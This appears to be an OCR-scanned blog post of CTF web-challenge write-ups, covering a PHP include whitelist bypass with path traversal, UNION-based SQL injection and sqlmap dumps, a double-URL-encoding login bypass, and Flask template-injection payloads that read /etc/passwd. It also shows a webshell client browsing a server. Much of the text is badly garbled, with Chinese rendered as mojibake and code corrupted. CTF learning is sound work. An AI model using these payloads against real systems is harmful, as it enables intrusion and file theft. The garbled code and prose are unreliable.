o Bibns ~
@ sE
AntSword fRiE BLO #Ed
4« == [0 220.249.52.133 5 220.249.52.133
O B#5lE (0) < DxedE (3)
=13/ OfE ~ ALE Rl &®EBF 2 RNBPE ~ fvarfwew/
=]
v 1 A
| www
flagisisish3r3.php 2019-04-14 04:21:25
@ index.php 2019-04-14 04:21:25
phpinfo.php 2019-04-14 04:21:25
@ FEms
AntSword $R3H BHO B
4 == [0 220.249.52.133 2 220.249.52.133

M #ig: /var/www /fl4gisisish3r3.php

<?php
$flapg="ctf{876a5fca-96c6-4cbd-9075-46f8c89475d2}";
2>

I TV

o

60 b
167 b
20b



supersqli

XAMEbuu R EfHE, R
BUUCTF[3& M #£2019]kE & v

warmup

R, RO —kHE
<« C A F==| 220.249.52.133:47163

HI A ™M Gmail D YouTube B¥ #88 A CTF Writeup —i..  [IE] Webzs

FHEEEIRE R — A source.php

C A F== | view-source:220.249.52.133:47163

WA ™ Gmail @ vouTube BY 18 3 CTF Writeup —i..  [E] webzmex3sa.

1
2| <html lang="en">

3| thead>

4 <meta charset="UTF-8">
5 imeta name="viewport” conte
6

T

8

width=dewvice—width, initial-zcale=1.0">
<meta http—equiv="X-Ti- atible” content="ie=edze”>
<titlerDocument </ ti
< head>

9 <hody>

10 ! ——=zource. php——>*

12 <hrrdimg sro="https: /Fi.1oli.net/2008/11,/01/50d60d493d:794. jpg” /< body:
13 </html>

il —F
< C A == | 220.249.52.133:47163/source.php


https://blog.csdn.net/weixin_45890174/article/details/108744774

HIORE M Gmail D YouTube BP 88 3 CTF Writeup — ... Webs=2ZZE0...
<?php
highlight filei{_FILE )
clazs  emmm
{
public static function checkFile (&fpage)
{
fwhitelist = [“source”=>"source.php”, “hint”=>"hint. php”];
if {1 diszet($page) || 'iz_string($page)) I
echo “you can’t =ee it”:
return false:
1
if (in_array($page. Jwhitelist)] |
return true;
1
f_page = mb_substr(
fpage.
0,
mb_strpos(fpaze . "7, ")
1
if  (in_arrav($_page, $whitelisti) {
return true;
1
$_page = urldecode($page);
$_page = mb_substr(
$_page.
o,
mb_strpos ($_page L, TP
1
if (in_array($_page, $whitelist)) |
return true;
1
gcho “you can’t  see  itY;
return false;
1
1
if ! empty(§_REQUEST[ file 1)
&b is_string ($_REQUEST[ file’ 1)
fde emmm: : checkFile (§_REQUEST["file’ 13
o
include §_REQUEST[ file’]:
exit
I oelse |
gcho “<hrrdimg  sro=%“https: //1. loli.net/2018,/11/01/5bdb0d93dc794, jpet”
1

T

A
(W, | -

KM —Ahint.php, P5iE—TF

&«

ReF

C A == | 220.249.52.133:47163/hint.php

M Gmail B YouTube B 88 A CTF Writeup — 1.

flag not here, and flag in ffffllllaaaagggg

RWflagAEX B, 7EffffllaaaaggggBEH, BE— FXHEE

&«

i WA M Gmail

B VouTube

C A F==| 220.249.52.133:47163/source.php?file=hint.php

2 wE 9 CTF Writeup —..  [E] webZexIET..

@ CTFEETE

P

@ CTFEZIE-CTF..



<?php
highlight file(__FILE__J:
class  emmm

i
public static function checkFile(&$page)
i
fwhitelist = [“source”=:"szource.php”, “hint"=>"hint.php"];
if {1 dsseti$pagzel || 'iz_string($page)) |
echo “you can’t  zee  it";
return false;
1
if  {in_arravifpage, $whitelist)) {
return  true;
1
$_page = mb_substri
fpage,
0,
mb_strpos($page . "7, "7
T
if (in_array($_page., $whitelisti] |
return  true;
1
$ pase = urldecods ($page);
$_page = mb_substrl
$_page,
.
mb_strpos($_page . 7, 777
¥
if  {in_arravi(} page, Jwhitelist)) |
return  true;
1
echo “you can’t =ee it";
return false:
I
1

if (! enpty ($_REQUEST[ file"])
befe iz_string (F_REQUEST[ £ile’ 1)
&f emmm: : checkFile ($_REQUEST["file 1)

Yo

include §_REQUEST[ file'];

exit
}oelse |

echo  “"<brr<img src=""https 1. loli.net/2018/11/01/6bdb0d93dcTo4, jpgt” /"
1

2> flag not here, and flag in ffffllllaaaagggg

KIS

IR RSP TRIE checkiX MLH], LB AERIMBERSHCME, RATEREmMD_strpos R ? BIEIAR, RATLLF S AT K& [F
HBA AT, XEBEH—A? kEdE, REBTFEEE—EREBREF.. /.1 )] BRSO RS RS T U5 2
flag 7



< G A F=%| 220.249.52.133:4716F source.php?file=hintphp?../././../../ffflllaaaagggg

B WA ™M Gmal B VouTube BF #1883 CTFWriteup —i..  [E] web=2zazin. @ crEgIscrr. [

<Tphp
highlight_file(__FILE__J;
clazz  emmm

{
public static function checkFile (kipage)
{
fwhitelist = [“source”=>"szource.php”, “hint”=>"hint.php”];
if (! diszzet($page) || l'iz_string(fpage)) I
echo “you can’'t see it";
return false;
I
if  (in_array($page, $whiteli=t)) |
return  true;
I
}_page = mb_substrl
fpage,
a1,
mb_strpos($page . "7, "7
T
if (in_array($_page., $whitelist)] |
return  true;
I
$_page = urldecode($page);
$_page = mb_szubstri
$_pazge,
0,
mb_strpos($_page . 7. T
T
if (in_array($_page., $whitelist)] |
return  true;
I
echo “you can’t  see 1t7;
return false;
1
I

if ! empty (5_REQUEST[ file’ 1)
kf is_string (§_REQUEST[ file"1)
fefe emmm: : checkFile (§_REQUEST[ f£ile’ 1)

o

include §_REQUEST[ file’]:

exit;
boelse |

echo “<bri<img sro=\"https: /S 1. Cnet,/2018/11,/01/50d00d493d:794. jpgy” S
I

7> flag{25e7bce6005c4e0c983fh97297ackeba}

5 3flag

NewsCenter

TFEERI—MHERE, WA and 1=1 # BEHRAsqQUEAN
RIVBA R RBAE B ERNZREE T

Search news

search

1"and 1=1#




News

RIBEFEFIH: 1 order by 3#
RIAEFN B A BHEIR B T — AR B T
<« G @ 220.249.52.133:49452

O ™M Gmail E YouTube BF #5813 CTF Writeup —T~... IEI Web&Z2ZFHEED.. @ CTFE£TE-CTF... @ tbkE=EHE [ Vigenere Solver -...

ZMTCIAIERIEAF
220.249.52.133 BRIATEMEIER,

HTTP ERROR 300

PLHE =5
HBABHEBEN BAWA: 1 union select 1,2,3#

Search news

search
1" union select 1,2 3#

News

HEARE2, 3
BEME B — A BRI
BEHAEPEL: 1’ union select 1,2,database(#



Search news

search
1" union select 1 2 database()#

News

News

B8 P4 = news’
FFa#EER: 1 union select 1,database(),group_concat(table _name) from information_schema.tables where
table_schema=‘news’#

Search news

search
1" union select 1 database() group_concat(table_name) from information_schema tables where table_schema:

News

news
news secret_table

R4 PLiZ R serect_table’



& B 1’ union select 1,database(),group_concat(column_name) from information_schema.columns where
table_name=‘secret_table'#

Search news

search
1" union select 1 database() group_concat{column_name) from information_schema.columns where table_nan

News

naws
id.fldg

EBEFBRA4gf5 E: 1 union select 1,database(),fl4g from secret_table#

Search news

search
1" union select 1, database(),fldg from secret_table#

News

naws
QCTF{sq1_inJec7ion_ezzz}

83%flag: QCTF{sq1_inJec7ion_ezzz}

— I F TIEAsqlmapR iz fe s ok, FrBAMAEEERMH2ERTRIRTH, MR Rpost, LA Llsgimap

E Burp Suite Professional v1.5.18 - licensed to Larrylau

Burp Intruder Repeater Window Help

Target | Broxy I Spider T Scanner I Intruder I Repeater I Sequencer T Decoder I Comparer T Extender I Options IAIerts }

J Intercept I History I Options ]

|#| Request to http://220 249 52 133:56273

[ Forward J l Drop J { Intercept is on 1 Action




J Raw [ Params [ Headers l Hex l

FPOST / HTTE/1.1
Host: II0.249.5I2.133:58273

Accept: text/htwl,application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
Aoecept-Languages: zh-CH, zh;qgq=0.8, 2h-TW;q=0.7, zh-HE;q=0.5,en-US; gq=0.3,en;qg=0.2
Accept-Encoding: gzip, deflate

Referer: http://220.249.52.133:56273/

Content-Type: application/x-www-form-urlencoded

Content-Length: 14

Origin: http://220.249.52.133:56273

Connection: keesp-alive

Upgrade-Insecure-FRequests: 1

Cache-Control: max-ags=0

search=1%527%23

RRAEPOST, AHRMi%W LAHsqmapii—T

X B B 32 FH sqlmap & M 1k 4\ 3 2= 1035 & TR H ok
HEEICbp MBI AR FE— MR

E Burp Suite Professional ¥1.5.18 - licensed to Larrylau

Burp Intruder Repeater Window Help

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; =€4; rv:81.0) Gecko/Z0100101 Firefox/E81.0

[Target T Proxy I Spider I Scanner T Intruder T Repeater T Sequencer I Decoder T Comparer I Extender || Options

—

—

Alerts ]

[ Connections T HTTP I SSL I Sessions T Display’ T Misc }

Action Hotkey

Send to Repeater Ctrl+R A
Send to Intruder Ctrl+l

Forward intercepted Proxy message Ctrl+F

Toggle Proxy interception Ctrl+T

Switch to Target Ctrl+Shift+T

Switch tn Pros Ctrl+Shift+P b

| Edit hotkeys |

2

These settings control logging of HTTP requests and responses.

¢

o All tools: | | Requests || Responses
Proxy: [/] Requests | [ Responses
Spider: || Requests | | Responses
Scanner: || Requests | | Responses
Intruder: || Requests | | Responses

Repeater: || Requests | | Responses
Extender: || Requests | | Responses

RERTHVZERSHI—ANTEEREERRFHMLBEN 4, RIXEEFEHEEH, X481
SR 5 FF i Hisgimap
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VARNI
WARNI
[1F0]

]
VARNIH

[
[
[
[
[
[
[
[
[

PSR R A S I

on =qlmap. py

{1, 4. 10, 16#d

by thi=

Fa

found and filterin:

HHSREANE, MiZ& news IXANE python sqglmap.py -r C:\Users\18481\Desktop\1l -D news --tables



2 :vpython2 Thaqlmap 'python =qlmap. py —r C:\U=zers418481Desktopil]l —D news —tables

1_ {1. 4. 10. 16#dev}

=
R b
| _| http://sqlmap. oxg

['] lezal dizclaimer: Usage of zqlmap for attacking targetz without prior mutual comnzent iz illegal. It iz the end user’ = rezponzibility to chey a
§11 applicable local, state and federal laws. Developers aszume no liability and are not responsible for any misuse or damage caused by this progra
m.

[*] starting @ 19:06:34 /2020-10-29/

[ 11 ] parzing HTTP request from *C:\Uszers'18481\Desktoptll’
[ 110 ] resuming back—end DEMS "mysql’
[ ]
zqlmap resumed the following injection pointis) from stored seszion:
Parameter: search (POST)
Type: time—based blind
Title: MySQL »>= 5.0.12 AND time—bazed blind (query SLEEF)}
Fayload: search=111" AND (SELECT 2387 FROM (SELECT(SLEEF(G)))gNnR) AND ' ¢ZCV = gZCV

Type: UNION gquery

Title: Generic UNION query (NULL) - 3 columns

Payload: zearch=111" UNION ALL SELECT NULL, NULL, CONCAT (0xT1T0Ta6271, 0x63T5T44fda400142A30aTAT4604T6TT4dT57150415857754£51 75024 c0556535162477351
53675244, 0xT1TOTETITL) — —

[ ] 1
back—end DEMS: MySQL »= 5.0,12
[ ] fetching tablez for database: *news’
[ ] [WiRNING] reflective valuelz) found and filtering out
Databaze: news
[2 table=]
R
news
zecret_table
—_—

[ 10 1 fetched data logged to text files under ’C:\Uszerz'18481%AppData‘local=qlmaptoutput’ 220, 249, 52, 138

[*] ending @ 19:06:34 /2020-10-29/ hitps:/iblog.csdn.net/weixin_45890174

BEEBR, NiZL secret_table XN python sqlmap.py -r C:\Users\18481\Desktop\1l -D news -T secret_table --

columns

ChpythonZTheqlmapPpython =qlmap. py —r C:\Uzers'18431%Desktoptl]l =D news -T zecret_table —columns

{1. 4. 10. 16# dev}

-

_|_|_‘ —

H
I:

‘_|_ http://zqlmap. org

['] legal disclaimer: Usage of zqlmap for attacking targets without prior mutual consent iz illegal. It iz the end uzer’ = responsibility to ohey a
11 applicable local, state and federal laws., Developers assume no liability and are not responsible for any misuse or damage caused by this progra
m

[*] starting @ 19:12:36 /2020-10-29/

[ 11 ] parzing HTTP request from 'C:\Uszersy18481\Desktopi11’
[ 10 ] resuming back—end DEMS "mysql’
[

zolmap resumed the following injection point(z) from stored zession:
Parameter: search (POST)
Type: time—bazed blind
Title: MySeL »>= 5.0,12 AND time—based blind (query SLEEP)
Payload: search=111" &ND (SELECT 2337 FROM (SELECT (SLEEP (5)))gHnR) &ND ' gZCV =" gZCV

Type: UNION query
Title: Generic UNION query (NULL) — 3 columns
] Payload: search=111" UNION 4LL SELECT WULL, NULL, CONCAT(OxT1T07a6271, 0x63TAT44f 4248614a030aT6T46476TT4dTAT15041580 775401756 a4c50065301624 77351
RIATH244, 0xTITOTETITL) — —
[ ]
back—end DEMS: MySQL »>= 5.0.12
[ ] ] fetching columms for table *secret_table’ in database "news’
[ 1 [wikNING] reflective walue(z) found and filtering out
Databaze! news
Table: secret_table
[2 columns]

| Column | Type

flds varchar (50)
id int (10) unsigned

[ 11 1 fetched data logged to text files under "C:\Users'18481%4pplata’Localtzqlmaphoutputh 220, 249, 52, 1337
[*] ending @ 19:12:36 /2020-10-29/ https://blog.csdn.net/weixin_45890174

# 3T % fldg python sqlmap.py -r C:\Users\18481\Desktop\1l -D news -T secret table -C fl4g --dump




hon 2qlma

{1. 4. 10. 16#dev]

BFE4gH 7Bt 7] LA Blflagrhi
flag: QCTF{sq1_indec7ion_ezzz}



TREHBLZEHEFIweb100, AIZHFAITIFRALRjspEH
E web100 - {054
ZHHF)  #RER(E) BEI0) EE(V) O EE)
<script>_="function $({ e=ngetElenByld("c").value;oclength==160*be0fP30233acne98aa$nc7be9n){ toflos_anine}onoan hol

P LAE SO Bn— 4N J& 4209 .html
TSR B — MaERA 2 BB, BERAREERRD

C  ® view-sourcesfile:///C:/Users/18481/Desktop/web100.html

D OEE M Gmail @ YouTube B¥ #E \} CTFWriteup —t.. [ webmezmza. @ crEzIsEcrr. @ k=EF () VigenereSolver-.. [@ CTFzBeS -&@# @ pythonmsFikir.. [ £5Y | Mochazz'.

1 <script) = function §0 [ e= getEle Byld("c’).value; length--16 ‘be0f23 233ac cOBaa§ cfbed ) t f1 sa i e n a Ol n r gl e 0 i itV _ n s=lt,nrilifor( o=0iofI3;+o) [ [01); .splice(0, D11} V' Cimput id="c">
< onclick=§()>0k</O ) delete _ var 7" doen . ) mateh(f “1;  /)l=null =["  write( s[okd]button if(e. ment ;for(f im §= *Jwith(_. split(§[Y]))_=joinpop () eval (_)¢/script>

BJEHENeval ) RBHAT T RIHEI_RE BRI ARE 1 — L2/ evait & T, B LG,
X B B AR YRAD B B & iElT, EREEEIERSRIE, 250 U fEevaldi A console.logfR J5 1217 7] LA B HIEK)
R, Bk Krevaltk Bk Aalert()BI AT ¥ JR 2 B sk,

e

_='function $(){@e=@getEle@ByTa("c") .va ength==1660202392332cRe052a1PcToeI ) (STOF1Ds_20i 0010 G20 N2l OG- Oz D 0Q1OIt\ @ Gnds=[1,n,r,i];7or(@0=0;0013;++0){ H[01);.5plica(9,1)13)  \'<input ic="c">c@ onclick=s()>0ke/ @\ )sdelete _@Pdvar
9, "9d0cud. ©) Onatch (/97 1390/) | -null: Burite (0 oW 1QLUTI (e B1nt S For(Y in S G086 GOEOEOH ) iitn (. split(S[Y]))_—oin(pop() seonsole. log()

Function () (var e-document .getElementByTd("c") value;iF(e. Length==16)if (e match(/~0e6123/) I=null) i (< .matehi/233ac/) 1=nulL) i (< moten(/e98aas/ ) t=nul1)if (e.match(/c7be3/) L=null) {var t-["1","5_a", 5", e}  Jyvar n=["a","_hOL","n"ivar r=["g(","e"," @' lsvar i-

[mit'e "1;5var s=[t,n,r,i];for(var 0=8;0<13;++0){document.write(s[0%4][0]);s[0%4].5plice(8,1)}} }document .write( <input id="c"><button onclick=$()>Ok</button>');delete _

C @ =rfF | C/Users/18481/Desktop/web100.html

PR ™ Gmal @ VouTube BY 18 3 CTFWriteup—t.. [[] webzezx3®a.. @ CIFEEIECTR thonmEFHER... [ £B% | Mc
‘ | Ok | function $()fvar
e=document.getElementByld("c").valueif(e.length==16)if(e.match(
[*be0f23/)!=null)ifle.match{/233ac/)!= nul\]lf(em ch(/e98aa$/)!
=null)if(e.match{/c7be9d/)=null){var t=["f"," "e}"lvar
n=["a""_h0lI","n"Lvar r=["g{"."e","_0"[var i= Tovar
s=[t,n,r,il;for(var 0=0;0<13;+ +o){documentwrite(s[0%4]
[01):s[o%d].splice(0, 1)1 documentwrite( <input id="¢"> <button
onclick=5()>0k</button>"):delete _

v ﬂ Elements  Console  Sources Network  Performance  Memory  Application  Security Lighthouse

[ ® | top ¥ | @ | Filter Default levels ¥

>
_=*function 5(){@e=@getEle@ByTd("c").value; @length==16@ bedf239233ar@eIBaai@Tbe0) (ST OF10s_s0i 191910 1@ @rPe GO 09i9it\ @ @ns=[t,n,r,i];for(@o=0;0¢13;++0){ [8]);€.5plice(d,1)1}
€7, Qdocu@ . @) enatch (/971 99/ ) 1=null@=[" Gurite(@s[ox4]Qbution@if(e. @ment ;for(Y in 3= GH€€ MM'J.-Jitr(_.sp.lit(i[\‘])}_:juin(pup()

>

X P T 5 A AR R FR AR, RAEHE N IER
BAVRYE 25 AL B T HE R ABH—TF, RERZXMET



function $(){
var e=document.getElementById( ) .value;
if(e.length==16)

if(e.match(/"bedf23/)!=null)

if(e.match(/233ac/) !=null)
if(e.match(/e98aa$/) !=null)
if(e.match(/c7be9/) !=null)
{
var
var
var
var i

var s=[t,n,r,i];

for(var 0=0;0<13;++0)

{
document.write(s[0%4][0]);s[0%4].splice(0,1)

1
J

);delete _

XA — AR AR, REAE — T 4R BN e A AE LN BB 95 A2 T T LA 2% KA 4 BE BT T T (RS, AR IE B3
MRTHIRRE S, SHGRRS

BN TR B KW 164 2R
R T Sk B L Etbe0f23
FRE S EL A EILLe98aa
F 55 5 R ERRIL AL $)233acHc7be9



B BRI T A 8 B RE, R X BB B B RIS K BN 16 L R T IENRE S 75 e

Mg R: be0f233ac7be98aa
SRJETE 2Z BT FF B X 0L B 48 N\ AE P 3 N X — BB A5 ik T LA7S Bllflag

[ =

& > 0O ® 0

flag{it's_a_hOle_in_One}

XEETHAKwp, RIEEEZTXJATRIGE AT IE R flag
flag{it's_a_hOle_in_One}

Elements Console Sources MNetwork Performance

x 4]
T ® | top A O

Filter

Memaory

filey///C:/Users/18481 /Desktop/web100.html

Application

> war t=["f1","s_&","i","=}"1;
var n=["&","_hel","n"];
var r=["g{","e","_@"1;
var i=["it'","_","n"
var s=[t,n,r,i];
for{var o=8;04¢13;++0)

{

¥

document.write(s[o%4][@]);s[o%4].splice(d,1)

P [TeF ]

> |

flag: flag{it's_a_hOle_in_One}

web2

ER—AphpHIAE, PATHIR—ANINE K5 %

Security



function encode($str){
$ o=strrev($str);

for($_0=0;% 0<strlen($ 0);$ 0++){

$ c=substr($ _o0,$ 0,1);
$__=ord($_c)+1;
$_c=chr($_);
$_=%_.%_c;
)i
return str_rotl3(strrev(base64 encode($ )));

highlight file(_ FILE_ );

strrev: B4 5 30 1A H
forf&¥: HTZRFEKASCIRE+1
returniZfi): base64 -> R -> rot13/n%

FrUAFRATT R R B S — ARSI AN N 25 33 238 1) 5t 7T BA7S Blflag
rot13n% -> x# -> base64 -> ASCII-1 -> k%

function decode($str){

$_o=base64_decode(strrev(str_rotl3($str)));
for($_0=0;$_0<strlen($_0);$_0++){

$_c=substr($_o0,% 0,1);
$__=ord($_c)-1;
$_c=chr($__);
$ =% _.%$ c;
)i
return strrev($_);
)i
echo decode($miwen);
?>

8 %lflag: flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

PHP2

< C A’ = | 220.249.52.133:57544

DA M Gmail O YouTube BY #E 3 CTF WriteL




Can you anthenticate to this website?

MITAEHET —#

Bl C:\Windows\System32\cmd.exe

Wordlizt =ize: 7140

RIS FTEEMuG, B R B4 BE 25 T I RA 4224k
& R WriteUp A 5118 J& 3R .phps X4 2 45 F 7 B PHPYRAS 11 31 5 48 44
Bt ABATTH i http://220.249.52.133:57544/index.phps
< C A F==| 220.249.52.133:57544/index.phps

H WA ™M Gmal @ VouTube BY #1283 CTF Writeup — ...

<?php

1f ("admin”===%_GET[id]} {
echo {“<prnot allowed! </p>");
exit ()

1

$_ GET[id] = urldecode($ GET[id]);
1f (§_GET[1d] == "admin”)
{
echo “<priccess granted! <{/p>”:
echo “<prKey: zxzzzzx <pr";
1
T

Can wou anthenticate to thiz website?

BN if WRBLHERERE R, ERARMEBILE A AR, HEANRE LE—/Z&id=admin, ELARMNEiL EAKIX
AN EIdAE T urlffig 2 5% Fadmin, 17 HEAEEE JEANSHIdE, WWIE7EE IS0 JEASCIRE K Z/F#IT —IK
urlencode (4wh%) , IE4THI < H3)#EAT —Kurldecode (f#RS)

BT ARRATTE L A& i adminis 1 3E 1T B Ik urlencode 4w %

BB 5T E by 7124403

EIEHY:

| adrnir

LURLfE=,
%B1%B4%ED3E9%EE




BB =575 by 1244003
BH:
|°/OE'I ZE4%60 %% EE

LURLfE=,
EACLT R AL AT AL T A Y AL Y AT A A L A AL AT AL

payload:
http://220.249.52.133:48158?id=%25%36%31%25%36%34%25%36 %44 %25%36%39%25%36 %45

< C A F==| 220.249.52.133:43154‘?id=%2561%2564%256D%2569%256E I

B WA ™M Gmal B VouTube BY #8383 CTFWriteup —..  [E] webz2xzasin. @ CTrE:

Access granted!
Key: cyberpeace{0e306644cb13a69012b296d4e8f39¢e8}

Can you anthenticate to this website?

f33flag: cyberpeace{0e306644cb13a69012b296d4e8f39ce8}

Web_python_template_injection
< C A F==| 220.249.52.133:59254
WA ™M Gmall B YouTube B 153 \3 CTF Write

pythen template injection

BB H 7R T #&python IR EN
EAEFHEER—HEATE, BTXNMNIENCEZ FREHEE— S AT, EEARRE
Python-BEARiE N

R TTUE 2 AR EA
< ¢ @ © & 220.249.52.133:502544(7+7}}

Byamersiss @ Fixtix E=smmu O s=mn [l FEmn

URL http://173.82.206.142:8004[;14 not found

BATRIFES A RARBEIIT T, VLR EEREN
BEERTE: {config)}

http://220.249.52.133:59254/{{config}}


https://www.cnblogs.com/wjw-zm/p/12741047.html

o W IND ©® 8 6@ & =
0 g b

< C @ © & 22024952.133:59254/{{config})
BEaesus @ #Fts BemAm Orwemn WFRsmn

URL http://173.82.206.142:8004/<Config {'JSON_AS ASCII": True, 'USE_X SENDFILE': False,
'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None,
'SESSION_COOKIE_NAME': 'session’, '"MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE SAMESITE": None,
'PROPAGATE_EXCEPTIONS': None, 'ENV'": 'production’, 'DEBUG': False, 'SECRET KEY': None,

'EXPLAIN_ TEMPLATE_LOADING': False, 'MAX CONTENT LENGTH': None, 'APPLICATION ROOT": '/', 'SERVER NAME'":
None, 'PREFERRED_URL SCHEME': 'http’, 'JSONIFY PRETTYPRINT REGULAR': False, 'TESTING': False,
'PERMANENT SESSION LIFETIME': datetime.timedelta(31), 'TEMPLATES AUTO RELOAD': None,

'TRAP_BAD REQUEST ERRORS': None, 'JSON_SORT KEYS': True, 'JSONIFY MIMETYPE': 'application/json’,
'SESSION_COOKIE_ HTTPONLY": True, 'SEND FILE MAX AGE DEFAULT': datetime.timedelta(0, 43200),
'PRESERVE_CONTEXT ON_EXCEPTION': None, 'SESSION REFRESH EACH REQUEST': True, 'TRAP HTTP_EXCEPTIONS':

False}> not found

MAEEE . R pythonft) i 5 K 4k &SR — 5 5 SEHLSCAF S BUN 65 AT KUK«
fERTTi%: B K<type ‘object >—>F KT R>WR T iy S HAT BE A BRAE IR .

1. JUFhH P T sstift) BEAR J5 2

class__  REZRAFTEHIN R
mro__ i MNEE X BT AR B IC A, 7 VETE R T B 4 B o AL R U AT
base AL B S

// __base F__mro_ #REFIRIIRIERK

subclasses_ BRI ERE T FRIGIH, XANFTERE—AEHHIAR KK 5] HRFIER

init_  REMIEENITIE

globals__  XAESRHBLERTERFHRESH

builtins__ builtinsBi&5|fH, PythonfEF—EE3), BEMSERFRARENREREZITZAMELEMRBIANFER T, WX Fbuiltin
SEHAHSN, BEMMIEREERER N, FreAn] LB B2 5| F s

2 FRENEE R LN TT

[].__class__. base
'._class . mro_ [2]
._class__. base_ _
._class__. base__
._class__._mro__[8] [/ R jinjia2/flask R[9]i&EH

__.__bases__[0] /[ FAbHIZEAL

3 IREUEE AR 72K



__.__base . subclasses_ ()
"type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestrin
, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <typ
e 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex’
>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <
type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or
method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>,
<type 'getset descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_de
scriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <ty
pe 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatten
iterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <

type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat _result'>, <type 'posix.statvfs resul

t'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset. IterationGuard'>

, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <

class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class ' _abcoll.Callable'>, <type 'dict_keys'>, <type 'dict
items'>, <type ‘'dict_values'>, <class 'site. Printer'>, <class 'site._ Helper'>, <type '_sre.SRE_Pattern'>,

e ' _sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>,

ass 'codecs.IncrementalDecoder'>]

X BB AT LA K-
http://220.249.52.133:59254/{{"'"._class__._mro_ [2].__subclasses_ ()}}



<« c @ [o] Z220.249.52.13355254|'{i‘7t\35577W|r072].7su)dasir"”\' | 8 o IND ®h & ® & =
[ #angs HBE

Bxamesmas @ #Etn BsAme @ s R

URL http://173.82.206.142:8004/[ <type 'type'>, <type ‘weakref'>, <type 'weakcallableproxy'>, <type ‘'weakproxy'>,
<type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type ‘NoneType'>, <type
‘NotlmplementedType'>, <type ‘traceback’'>, <type 'super’'>, <type 'xrange’'>, <type 'dict'>, <type 'set'>, <type
‘slice’>, <type 'staticmethod'>, <type 'complex’'>, <type ‘float’'>, <type 'buffer'>, <type 'long'>, <type 'frozenset’'>,
<type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>,
<type 'frame’'>, <type 'builtin_function_or method'>, <type 'instancemethod’'>, <type 'function’>, <type
‘classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset descriptor'>, <type 'wrapper descriptor'>, <type
‘instance’>, <type 'ellipsis'>, <type 'member_descriptor'>, <[37: >, <type 'PyCapsule'>, <type ‘cell'>, <type
‘callable-iterator'>, <type 'iterator'>, <type 'sys.long info'>, <type 'sys.float info'>, <type 'EncodingMap'>, <type
'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type
‘exceptions.BaseException'>, <type 'module'>, <type 'imp.Nulllmporter'>, <type 'zipimport.zipimporter'>, <type
'‘posix.stat_result'>, <type 'posix.statvfs result'>, <class 'warnings.WarningMessage'>, <class
‘warnings.catch_warnings'>, <class '_weakrefset. IterationGuard’>, <class '_weakrefset.WeakSet'>, <class

EBLT <type ‘file’>,[40] 2 type file XA I B (MOFFEEHINLED
http://220.249.52.133:59254/{{ [].__class . base . subclasses_ ()[40]('/etc/passwd').read() }}

<« ¢ @ [oAN1 220.249.52.13359;54"(' ]._class_._base_._subclasses_()[40](/etc/passwd’).read( | e T WM e®h & #=
Qe babE

B xmeses © #EE BEemm @Rt Il FeEn
URL http://173.82.206.142:8004/root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin Ip:x:7:7:lp:/var
/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin
/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-
data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time
Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run
/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-
bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false 0:x:0:0:noone:/tmp:/sbin/nologin not found

X B RRATEEE T /etc/passwd

WRAREREE R, AR AIRITREMosHIBR,

AT DL E R Pl systemBi 3, &0 T systemB gt 8. X i th 7T DL B os BB i listdirdk Bk 2B B 3. (7T LAEE &file
